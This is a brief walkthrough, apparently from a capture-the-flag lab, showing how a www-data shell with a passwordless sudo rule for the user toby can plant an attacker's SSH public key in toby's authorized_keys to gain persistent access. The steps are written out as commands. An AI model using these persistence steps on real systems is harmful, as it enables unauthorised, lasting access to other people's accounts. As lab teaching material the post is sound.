Add your SSH key through Reserve Shell user

When you run "sudo -l", if you get a response like this then you should be able to add your SSH key into that user to create persistence.

"User www-data may run the following commands on watcher: (toby) NOPASSWD: ALL"

  1. Generate SSH Key Pair:

    • On your local machine, generate an SSH key pair if you don't have one already:
      ssh-keygen
      This will create a new SSH key, using the provided email as a label.
  2. Copy Public Key:

    • Copy your public SSH key. This is usually located in ~/.ssh/id_rsa.pub on your local machine. You can display it with the following command:
      cat ~/.ssh/id_rsa.pub
  3. Access the Remote Machine:

    • Remote into the machine as www-data (which you've already done).
  4. Create SSH Directory and Authorized Keys File:

    • As www-data, use sudo to create the .ssh directory and the authorized_keys file for toby, then add your public key to it:
      sudo -u toby mkdir /home/toby/.ssh sudo -u toby touch /home/toby/.ssh/authorized_keys echo "your-public-key-here" | sudo -u toby tee -a /home/toby/.ssh/authorized_keys
  5. Set Correct Permissions:

    • It's crucial to set the correct permissions on the .ssh directory and the authorized_keys file to ensure SSH works correctly:
      sudo -u toby chmod 700 /home/toby/.ssh sudo -u toby chmod 600 /home/toby/.ssh/authorized_keys
  6. SSH as Toby:

    • Now you should be able to SSH into the machine as toby using your private key:
      ssh -i ~/.ssh/id_rsa toby@remote-machine-address

Leave a Reply

Your email address will not be published. Required fields are marked *